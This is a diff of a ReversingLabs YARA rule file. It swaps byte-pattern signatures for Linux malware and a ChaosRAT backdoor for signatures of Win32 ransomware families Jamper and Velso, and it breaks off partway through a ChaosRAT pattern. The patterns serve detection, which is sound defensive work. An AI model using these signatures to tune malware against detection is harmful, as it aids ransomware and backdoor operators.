?? ?? ?? 50 89 44 24 ?? 89 44 24 ?? 8D 44 24 ?? + 50 6A ?? 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF D7 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 51 BA + ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 + FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 FF 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 + ?? 83 7B ?? ?? 72 ?? 8B 1B FF 74 24 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? FF + 74 24 ?? 50 56 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF D7 85 C0 0F 84 ?? ?? ?? ?? 8B 4C 24 + ?? 8B 44 24 ?? 5F 89 01 8B C6 8B 8C 24 ?? ?? ?? ?? 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 + 5D C3 } - $decrypt_configuration_p1 = { - 41 57 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 89 7C 24 ?? 48 8D 9C 24 ?? ?? - ?? ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 DF F3 48 AB C6 07 ?? 48 8D 54 24 ?? B1 ?? - 48 89 D7 F3 48 AB C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44 - 24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? 48 8D 54 24 ?? 0F B7 35 ?? ?? - ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? - ?? F2 AE 48 F7 D1 48 83 E9 ?? 48 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 46 D1 BE ?? - ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? 48 8D 74 24 ?? 48 89 - DF E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 50 ?? 48 89 54 24 ?? C6 00 ?? 48 - 8D 74 24 ?? 48 89 D7 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 48 ?? 48 89 4C - 24 ?? C6 00 ?? 48 8D 74 24 ?? 48 89 CF E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 85 C0 0F 84 - ?? ?? ?? ?? C6 00 ?? 48 8D B4 24 ?? ?? ?? ?? 48 C7 C5 ?? ?? ?? ?? 48 89 F7 41 BC ?? - ?? ?? ?? 48 89 E9 44 89 E0 F2 AE 48 F7 D1 48 01 E9 48 8D 5C 24 ?? 48 81 F9 ?? ?? ?? - ?? BA ?? ?? ?? ?? 48 0F 46 D1 48 89 DF E8 ?? ?? ?? ?? 48 89 DF 48 89 E9 44 89 E0 F2 - AE 48 89 CD 48 F7 D5 83 ED ?? 8D 45 ?? 48 98 80 7C 04 ?? ?? 74 ?? 48 63 C5 C6 44 04 - ?? ?? 83 C5 ?? 48 63 ED C6 44 2C ?? ?? 4C 8D 6C 24 ?? 4C 89 EB BD ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? 41 BC ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 49 C7 C6 ?? ?? ?? ?? 4D 89 EF E9 ?? ?? ?? ?? 0F B6 03 3C ?? 75 - ?? 44 8B 64 24 ?? 4D 6B E4 ?? 4C 03 64 24 ?? 49 8D 7C 24 ?? 83 7C 24 ?? ?? BA ?? ?? - ?? ?? 0F 4E 54 24 ?? 48 63 D2 8B 74 24 ?? 48 8D 44 24 ?? 48 8D 34 30 E8 + $enum_shares = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 + 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 75 ?? 8B 45 ?? 8D 4D ?? 51 50 + 6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? + ?? ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 0F 1F 40 ?? 33 DB 39 5D ?? 0F 8E ?? ?? ?? ?? 83 C7 ?? 66 90 F7 47 ?? ?? ?? ?? ?? 74 + ?? 8D 47 ?? 89 45 ?? 8B 06 8B 48 ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8D 55 ?? 52 FF 50 + ?? E9 ?? ?? ?? ?? 8B 17 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? 8D 70 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C6 D1 F8 83 F8 ?? 77 ?? 8D 34 00 + 89 45 ?? 56 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 44 35 ?? EB ?? 52 C6 + 45 ?? ?? 8D 4D ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? + 50 8B 4E ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 43 83 C7 ?? + 3B 5D ?? 0F 8C ?? ?? ?? ?? 8B 7D ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 57 8D 45 ?? C7 + 45 ?? ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 FF 15 ?? + ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D + ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 } - $decrypt_configuration_p2 = { - 0F B7 54 24 ?? 66 41 89 54 24 ?? 83 44 24 ?? ?? 83 7C 24 ?? ?? 77 ?? 89 6C 24 ?? 41 - BC ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 48 8D 7B ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? - ?? ?? 66 89 44 24 ?? 44 89 64 24 ?? EB ?? 41 83 C4 ?? 83 C5 ?? 48 83 C3 ?? 4C 89 F1 - 4C 89 FF B8 ?? ?? ?? ?? F2 AE 48 F7 D1 48 83 E9 ?? 48 89 D8 4C 29 E8 48 39 C8 0F 82 - ?? ?? ?? ?? 8B 4C 24 ?? 48 8B 54 24 ?? 89 8A ?? ?? ?? ?? 48 8D 5C 24 ?? B9 ?? ?? ?? - ?? B8 ?? ?? ?? ?? 48 89 DF F3 48 AB 48 8B 7C 24 ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7 - D1 48 8D 51 ?? 48 8B 74 24 ?? 48 89 DF E8 ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B 44 - 24 ?? C6 80 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B 54 24 ?? C6 82 ?? ?? ?? ?? ?? - 80 7C 24 ?? ?? 75 ?? 48 8B 4C 24 ?? C6 81 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B - 44 24 ?? C6 80 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B 54 24 ?? C6 82 ?? ?? ?? ?? - ?? 80 7C 24 ?? ?? 75 ?? 48 8B 4C 24 ?? C6 81 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 - 8B 44 24 ?? C6 80 ?? ?? ?? ?? ?? 48 8D 5C 24 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 89 - DF F3 48 AB 48 8B 7C 24 ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7 D1 48 83 E9 ?? 48 81 F9 - ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 46 D1 48 8B 74 24 ?? 48 89 DF E8 ?? ?? ?? ?? C6 44 - 24 ?? ?? C6 44 24 ?? ?? 48 8D 74 24 ?? 48 89 DF E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? - ?? ?? 48 8D 7C 24 ?? B8 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7 D1 83 E9 ?? 8D + + condition: + uint16( 0 ) == 0x5A4D and ( $find_files and $encrypt_files and $enum_shares ) +} +rule REVERSINGLABS_Win32_Ransomware_Jamper : TC_DETECTION MALICIOUS MALWARE FILE +{ + meta: + description = "Yara rule that detects Jamper ransomware." + author = "ReversingLabs" + id = "9ba9358e-8f67-5d0e-a9bc-b3b10cd3a8b2" + date = "2020-06-26" + modified = "2020-07-15" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Jamper.yara#L1-L110" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "826f8fa7cc92b279c609a9ab6a87c32940e37b4c2476854af75bbed29cb3eaf2" + score = 75 + quality = 90 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Jamper" + tc_detection_factor = 5 + importance = 25 + + strings: + $encrypt_files_p1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D + ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ?? + 89 45 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 8B + 45 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? + 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 6A ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 83 + BD ?? ?? ?? ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? EB ?? 7E ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 + ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 83 FB ?? 7F ?? B8 } - $decrypt_configuration_p3 = { - 41 ?? 48 98 80 7C 04 ?? ?? 74 ?? 48 63 C1 C6 44 04 ?? ?? 83 C1 ?? 48 63 C9 C6 44 0C - ?? ?? 4C 89 EB BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 49 C7 - C4 ?? ?? ?? ?? 4C 8D 74 24 ?? 41 BF ?? ?? ?? ?? EB ?? 0F B6 03 3C ?? 75 ?? 8B 7C 24 - ?? 48 8D 54 24 ?? 48 8D 3C 3A BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 - ?? 48 81 C2 ?? ?? ?? ?? 48 8B 4C 24 ?? 66 89 44 91 ?? 0F B7 44 24 ?? 66 89 44 91 ?? - 83 44 24 ?? ?? 83 7C 24 ?? ?? 77 ?? 89 6C 24 ?? EB ?? 3C ?? 75 ?? 48 8D 7B ?? BA ?? - ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 44 24 ?? 83 C5 ?? 48 83 C3 ?? 4C 89 E1 - 4C 89 F7 44 89 F8 F2 AE 48 F7 D1 48 83 E9 ?? 48 89 D8 4C 29 E8 48 39 C8 0F 82 ?? ?? - ?? ?? 8B 4C 24 ?? 48 8B 54 24 ?? 89 8A ?? ?? ?? ?? EB ?? 48 8B 44 24 ?? C7 80 ?? ?? - ?? ?? ?? ?? ?? ?? 48 8B 7C 24 ?? 48 83 C7 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? - ?? ?? 85 C0 BA ?? ?? ?? ?? 0F 4E C2 48 8B 54 24 ?? 89 82 ?? ?? ?? ?? B8 ?? ?? ?? ?? - EB ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + $encrypt_files_p2 = { + E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 + ?? ?? ?? ?? 43 83 FB ?? 75 ?? 8B 85 ?? ?? ?? ?? 8B D0 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 + ?? E8 ?? ?? ?? ?? 8B D0 8B 8D ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? 83 BD ?? ?? ?? ?? + ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? EB ?? 8D 45 ?? + E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 33 D2 8B 45 ?? 8B 08 FF 51 ?? 83 + BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? E8 ?? ?? ?? ?? + 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 + ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? 55 E8 ?? ?? ?? ?? 59 55 E8 ?? ?? ?? ?? 59 EB ?? + 55 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B + 18 FF 53 ?? 55 E8 ?? ?? ?? ?? 59 B3 ?? 8D 45 ?? E8 ?? ?? ?? ?? 84 DB 74 ?? 8D 95 ?? + ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B + F8 57 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 33 C0 5A 59 59 + 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 } - $encrypt_and_send_data = { - 48 89 5C 24 ?? 48 89 6C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 4C 89 74 24 ?? 4C 89 7C - 24 ?? 48 83 EC ?? 41 89 FC 48 89 F5 49 89 D6 41 89 CD 48 85 F6 0F 84 ?? ?? ?? ?? BF - ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C3 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 89 03 - 0F B6 45 ?? 88 43 ?? 8B 6B ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8 ?? ?? ?? ?? BA ?? - ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 44 89 E9 BA ?? ?? ?? ?? 48 89 DE 44 - 89 E7 E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8 ?? ?? ?? ?? 48 - 89 DF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 85 ED 74 - ?? 4D 85 F6 75 ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 - ?? ?? ?? ?? 4C 63 FD 4C 89 FF E8 ?? ?? ?? ?? 48 89 C3 48 85 C0 74 ?? 4C 89 FA 4C 89 - F6 48 89 C7 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 EE 48 89 DF E8 ?? ?? ?? ?? 44 89 E9 89 - EA 48 89 DE 44 89 E7 E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8 - ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 48 8B 3D ?? ?? ?? ?? 48 83 - C7 ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 48 - 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 4C 8B 74 24 ?? 4C 8B 7C 24 - ?? 48 83 C4 ?? C3 + $find_files = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? + ?? 89 C3 85 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74 + ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 + ?? 80 38 ?? 75 ?? 8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8 ?? ?? + ?? ?? 8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84 + ?? ?? ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6 + 03 C3 40 3D ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B C7 2B C6 40 50 56 8D 85 ?? ?? ?? ?? 03 + C3 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45 + ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? + 8D 53 ?? 03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3 + 48 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85 + ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 } - $receive_and_decrypt_data = { - 48 89 5C 24 ?? 48 89 6C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 48 83 EC ?? 41 89 FC 48 - 89 F3 49 89 D5 89 CD 48 85 F6 74 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? - ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 8B 53 ?? 85 D2 74 ?? 4D 85 ED 75 ?? - B8 ?? ?? ?? ?? EB ?? 81 FA ?? ?? ?? ?? 77 ?? 89 E9 4C 89 EE 44 89 E7 E8 ?? ?? ?? ?? - 85 C0 74 ?? 8B 73 ?? BA ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? B8 - ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 48 83 C4 ?? - C3 + $enum_resources = { + 55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 55 ?? 89 55 ?? 33 D2 55 68 ?? ?? ?? ?? + 64 FF 32 64 89 22 33 D2 55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8D 55 ?? 52 50 6A ?? 6A + ?? 6A ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 33 C0 5A 59 59 64 89 10 E9 ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 89 + 45 ?? 8D 45 ?? 50 8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D + ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 48 85 C0 0F 82 ?? ?? ?? ?? 40 89 45 ?? 8B 45 ?? 8B + 58 ?? 85 DB 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 8B + D3 E8 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 12 88 50 ?? C6 00 ?? 8D 55 ?? 8D 45 ?? E8 + ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 52 ?? 88 50 ?? C6 00 ?? 8D 55 ?? 8D 45 ?? B1 ?? + E8 ?? ?? ?? ?? 8D 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 55 ?? B8 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 55 ?? 8B + 08 FF 51 ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? F7 + 40 ?? ?? ?? ?? ?? 76 ?? 8B 45 ?? E8 ?? ?? ?? ?? 83 45 ?? ?? FF 4D ?? 0F 85 ?? ?? ?? + ?? EB ?? 81 7D ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 E8 + ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0 + 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? + ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 } condition: - uint32( 0 ) == 0x464C457F and ( ( all of ( $change_name_on_system_p* ) ) and ( all of ( $decrypt_configuration_p* ) ) and ( $encrypt_and_send_data ) and ( $receive_and_decrypt_data ) ) + uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } -rule REVERSINGLABS_Linux_Backdoor_Chaosrat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Velso : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects ChaosRAT backdoor." + description = "Yara rule that detects Velso ransomware." author = "ReversingLabs" - id = "efb8c631-79bf-5d18-ae99-0e55ea462278" - date = "2025-06-30" - modified = "2025-06-30" + id = "72c7baaa-4f83-54c5-ba71-2b45e5eeefd2" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.ChaosRAT.yara#L1-L270" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Velso.yara#L1-L230" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "09a11559384f3e01c8ac304d933a8279175c676fba9ec70627f44b76e90090f9" + logic_hash = "602be848a26106a1bd46cfc515578f0628687e6cb352e609a274220a61bcb620" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "ChaosRAT" + tc_detection_type = "Ransomware" + tc_detection_name = "Velso" tc_detection_factor = 5 importance = 25 strings: - $network_communication_v1 = { - 49 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 83 EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 89 44 24 - ?? 80 78 ?? ?? 74 ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? E8 - ?? ?? ?? ?? 0F 1F 40 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 48 ?? 48 89 D8 FF D1 44 0F - 11 7C 24 ?? B9 ?? ?? ?? ?? 48 89 C7 48 89 DE 31 C0 48 8D 1D ?? ?? ?? ?? E8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 90 48 8B 1D ?? - ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 89 FE 48 8D 4C 24 ?? E8 ?? ?? ?? ?? - 48 8B 4C 24 ?? C6 41 ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 0F 1F 44 00 ?? E8 ?? ?? ?? - ?? 48 8B 44 24 ?? E9 ?? ?? ?? ?? 48 8B 44 24 ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8B - 44 24 ?? C6 40 ?? ?? E9 ?? ?? ?? ?? 48 8B 48 ?? 48 89 D8 FF D1 44 0F 11 7C 24 ?? B9 - ?? ?? ?? ?? 48 89 C7 48 89 DE 31 C0 48 8D 1D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 